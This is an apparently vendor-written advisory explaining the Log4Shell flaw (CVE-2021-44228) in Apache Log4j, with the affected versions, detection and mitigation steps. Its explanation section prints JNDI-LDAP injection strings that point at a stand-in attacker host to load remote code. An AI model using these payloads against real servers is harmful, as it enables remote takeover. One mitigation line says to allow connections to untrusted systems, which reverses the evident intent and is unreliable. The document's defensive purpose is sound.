Log4j Vulnerability

What happened?

In December 2021, a significant zero-day vulnerability in Apache Log4j, a widely used Java logging tool, was discovered. Exploiting this vulnerability allows attackers to take control over the affected servers, and this prompted a CVSS (Common Vulnerability Scoring System) severity level of 10.

Log4Shell is particularly dangerous due to its simplicity – by requiring the application to write only one simple string, attackers can upload malicious code to the application. To make matters worse, functioning PoCs (Proof of Concept) are already available on the internet, posing a major threat to even amateur attackers. Log4j Vulnerability Exploit Example

Another reason for the high level of interest in this vulnerability is the widespread use of Log4j by many enterprises. According to security researchers, Amazon, Steam, Twitter, Cisco, and Cloudflare are just a few of the companies that use this library, which means that threat actors have a very diverse set of targets to choose from.

Jen Easterly, head of the Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (CISA), described the flaw as “one of the most serious flaws” she has encountered in her career. Easterly said in a statement that an increased number of hackers are actively attempting to exploit the vulnerability.

According to data released this week by cybersecurity firm Check Point, more than 100 hacking attempts per minute have occurred. “It will take years to address this while attackers look for opportunities to exploit it on a daily basis,” David Kennedy, CEO of cybersecurity firm TrustedSec, said. “For businesses, this is a ticking time bomb.”

What is Apache Log4j?

Apache Log4j is one of the most widely used logging libraries on the web. It is embedded in popular apps and websites, exposing hundreds of millions of devices worldwide that use these services to the vulnerability.

Log4j is a logging package for Java that is used by developers who require a way to track specific events within their application, whether for debugging purposes or creating an audit trail of specific events to aid in security monitoring. Because Java’s native logging support is inadequate, developers frequently include the Log4j package in their applications to enable more feature-complete logging. Due to the library’s open-source and free nature, its impact has been catastrophic as the package has been highly utilized.

Often, logging is as simple as storing/printing a string (a bit of text). However, Log4j provides the ability to substitute certain parts of the text for something else by looking up some data. For example, we might log “Our Java version is ${java:version}“. Log4j automatically converts the ${java:version} to the Java version after determining the Java version on the system. Thus, the string that will be logged is “Our Java version is 1.7.0_67”; log4j has converted the ${java:version} bit to the java version for us, which increases productivity through automation.

What went wrong?

Log4j does not simply accept ${java:version} as a substitute; if it did, the best we could do would be to add the Java version to a log entry. Consider the ${java:version} substitution briefly. The “java” portion is referred to as the prefix2, a category type, and the “version” portion is the name of a property we wish to include, in this case the version property from the java context. Log4j also accepts a variety of other prefixes, including the following: base64, date, env, jndi, log4j, main, map, sys and others.

However, the one that is most relevant is “jndi,” which stands for Java Naming and Directory Interface. Java applications can communicate with naming and directory services via JNDI (like DNS, LDAP, and NIS). As a result, attackers can use ${jndi:name} to perform a JNDI lookup, and because JNDI supports LDAP, we can use ${jndi:ldap:/victims-website.com/myobject} to load data from “myobject” hosted at “victims-website.com,” evaluate the object’s contents, and then add it to the log entry.

An attacker need only locate a log4j-enabled application and send something like ${jndi:ldap:/attackers-website.com/myexploit} to the victim server, and the code contained in the “myexploit” file will be executed. This could result in the attacker gaining access to the system, dumping data, pivoting to internal networks, and launching an attack against internal systems.

What is affected?

CVE-2021-44228 is a vulnerability that affects Log4j 2 versions prior to 2.15.0. Remote JNDI LDAP lookups are disabled by default starting with version 2.15.0. However, while we were all attempting to resolve Log4j issues, a second vulnerability CVE-2021-45046 was discovered.

As a result, consider all versions prior to Log4j 2 version 2.16.0 to be vulnerable.
https://logging.apache.org/log4j/2.x/changes-report.html#a2.16.0

The list of affected software, which includes Log4j, is quite lengthy. The Dutch National Cyber Security Centre maintains an excellent list of affected vendors and software. The list is available on their Github page:
https://github.com/NCSC-NL/log4shell/blob/main/software/README.md

Additionally, CISA maintains an extensive list of affected systems:
https://github.com/cisagov/log4j-affected-db

How can I detect it?

The majority of vulnerability scanning engines are detecting CVE-2021-44228, and many have been running checks since the vulnerability was disclosed in December of 2021. Clone Systems Vulnerability Scanning Services are scanning for CVE-2021-44228 and have initiated full Emerging Threat Scans against our customers, informing them of any detected vulnerabilities.

How can I fix it?

Determine which systems are vulnerable and conduct a scan of the network or local systems for instances of the vulnerable software. Vendors have released updates; therefore, where possible, apply them. At the very least, Log4j 2 should be updated to version 2.16.0.

Restrict network access from systems that cannot be updated. Allow them to connect to untrusted systems specifically. While the majority of exploits attempt to connect outbound via LDAP, DNS queries forwarded to external DNS servers can also result in data leakage.

Apply configuration changes to limit exploitation.

Set the log4j2.formatMsgNoLookups environment variable or the LOG4J FORMAT MSG NO LOOKUPS environment variable to true in versions 2.10 and higher. Please keep in mind that Elastic has stated that logstash disregards these environment variables.

Remove the JndiLookup class from the classpath in versions 2.0-beta9 to 2.10.0.

§ zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Delete JndiLookup.class from any version of Log4j 2.

Increase monitoring for exploitation and conduct a vulnerability scan of the infrastructure, keeping an eye out for any detections.